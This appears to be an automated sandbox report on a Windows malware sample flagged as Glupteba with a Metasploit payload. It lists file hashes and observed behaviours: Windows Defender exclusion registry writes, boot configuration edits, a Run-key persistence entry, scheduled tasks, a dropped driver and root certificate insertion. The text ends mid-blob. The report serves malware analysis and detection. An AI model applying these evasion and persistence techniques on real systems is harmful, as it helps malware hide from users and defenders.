Analysis
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max time kernel
112s -
max time network
134s -
platform
windows7_x64 -
resource
win7-20221111-en -
resource tags
arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system -
submitted
29-01-2023 18:31
Static task
static1
Behavioral task
behavioral1
Sample
e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe
Resource
win7-20221111-en
Behavioral task
behavioral2
Sample
e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe
Resource
win10v2004-20221111-en
General
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Target
e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe
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Size
3.9MB
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MD5
4f22f6d197f336b668b31e2470c2c857
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SHA1
c96ebad60609561a1fc8f6e8dc78612b39145110
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SHA256
e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88
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SHA512
616c93a8f0b254c624c53fbe1c1f984e79e5c71ecc05a52c8003410317411bb2d49fe8cfc0bb3680a3707ceaf65ddacf0a452334a32fa195b773f8deeb057970
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SSDEEP
98304:UBw7WMYDTw7yg83ISWR8Ku4TBzFEO6aVSi3GHm7Z:U20+7S1Ku4TBVSiB7Z
Malware Config
Extracted
metasploit
windows/single_exec
Signatures
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Glupteba payload 7 IoCs
Processes:
resource yara_rule behavioral1/memory/1544-56-0x00000000011C0000-0x00000000019C4000-memory.dmp family_glupteba behavioral1/memory/1544-57-0x0000000000400000-0x0000000000C1E000-memory.dmp family_glupteba behavioral1/memory/1544-59-0x0000000000400000-0x0000000000C1E000-memory.dmp family_glupteba behavioral1/memory/1100-64-0x0000000000400000-0x0000000000C1E000-memory.dmp family_glupteba behavioral1/memory/1100-70-0x0000000000400000-0x0000000000C1E000-memory.dmp family_glupteba behavioral1/memory/1084-79-0x0000000000400000-0x0000000000C1E000-memory.dmp family_glupteba behavioral1/memory/1084-82-0x0000000000400000-0x0000000000C1E000-memory.dmp family_glupteba -
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
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Processes:
e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\SummerSound = "0" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe = "0" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe -
Modifies boot configuration data using bcdedit 14 IoCs
Processes:
bcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exepid process 868 bcdedit.exe 972 bcdedit.exe 1312 bcdedit.exe 1648 bcdedit.exe 1476 bcdedit.exe 1624 bcdedit.exe 1488 bcdedit.exe 1880 bcdedit.exe 1528 bcdedit.exe 1692 bcdedit.exe 1940 bcdedit.exe 984 bcdedit.exe 752 bcdedit.exe 1092 bcdedit.exe -
Drops file in Drivers directory 1 IoCs
Processes:
csrss.exedescription ioc process File created C:\Windows\system32\drivers\Winmon.sys csrss.exe -
Executes dropped EXE 3 IoCs
Processes:
csrss.exepatch.exedsefix.exepid process 1084 csrss.exe 1992 patch.exe 996 dsefix.exe -
Modifies Windows Firewall 1 TTPs 1 IoCs
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Possible attempt to disable PatchGuard 2 TTPs
Rootkits can use kernel patching to embed themselves in an operating system.
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Loads dropped DLL 12 IoCs
Processes:
e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exepatch.execsrss.exepid process 1100 e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe 1100 e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe 872 1992 patch.exe 1992 patch.exe 1992 patch.exe 1992 patch.exe 1992 patch.exe 1992 patch.exe 1992 patch.exe 1992 patch.exe 1084 csrss.exe -
Processes:
e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\SummerSound = "0" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe = "0" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Windows\CurrentVersion\Run\SummerSound = "\"C:\\Windows\\rss\\csrss.exe\"" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Drops file in Windows directory 3 IoCs
Processes:
e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exemakecab.exedescription ioc process File opened for modification C:\Windows\rss e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe File created C:\Windows\rss\csrss.exe e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe File created C:\Windows\Logs\CBS\CbsPersist_20230129193227.cab makecab.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 1792 schtasks.exe 1936 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.execsrss.exenetsh.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1022 = "Bangladesh Standard Time" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-105 = "Central Brazilian Standard Time" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-292 = "Central European Standard Time" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-371 = "Jerusalem Daylight Time" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-551 = "North Asia Daylight Time" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-11 = "Azores Daylight Time" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-341 = "Egypt Daylight Time" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-372 = "Jerusalem Standard Time" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-891 = "Morocco Daylight Time" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-72 = "Newfoundland Standard Time" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-215 = "Pacific Standard Time (Mexico)" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-251 = "Dateline Daylight Time" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-1 = "IPsec Relying Party" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-221 = "Alaskan Daylight Time" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-12 = "Azores Standard Time" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-332 = "E. Europe Standard Time" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1471 = "Magadan Daylight Time" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-552 = "North Asia Standard Time" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-721 = "Central Pacific Daylight Time" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-112 = "Eastern Standard Time" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-334 = "Jordan Daylight Time" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-102 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-442 = "Arabian Standard Time" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-842 = "Argentina Standard Time" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-131 = "US Eastern Daylight Time" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-142 = "Canada Central Standard Time" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-104 = "Central Brazilian Daylight Time" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1042 = "Ulaanbaatar Standard Time" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates csrss.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-571 = "China Daylight Time" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-4 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-772 = "Montevideo Standard Time" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-384 = "Namibia Daylight Time" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-422 = "Russian Standard Time" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA csrss.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-212 = "Pacific Standard Time" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1411 = "Syria Daylight Time" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-132 = "US Eastern Standard Time" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-582 = "North Asia East Standard Time" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-122 = "SA Pacific Standard Time" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-82 = "Atlantic Standard Time" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-3 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-22 = "Cape Verde Standard Time" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-21 = "Cape Verde Daylight Time" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs csrss.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-742 = "New Zealand Standard Time" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-103 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-671 = "AUS Eastern Daylight Time" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-691 = "Tasmania Daylight Time" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-201 = "US Mountain Daylight Time" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-572 = "China Standard Time" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1472 = "Magadan Standard Time" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-911 = "Mauritius Daylight Time" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-471 = "Ekaterinburg Daylight Time" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-52 = "Greenland Standard Time" e4148bfa1147a6062d657cae12b65df994f10328acb441045f9f3cd68dd81f88.exe -
Processes:
csrss.exepatch.exedescription ioc process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 csrss.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 0f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537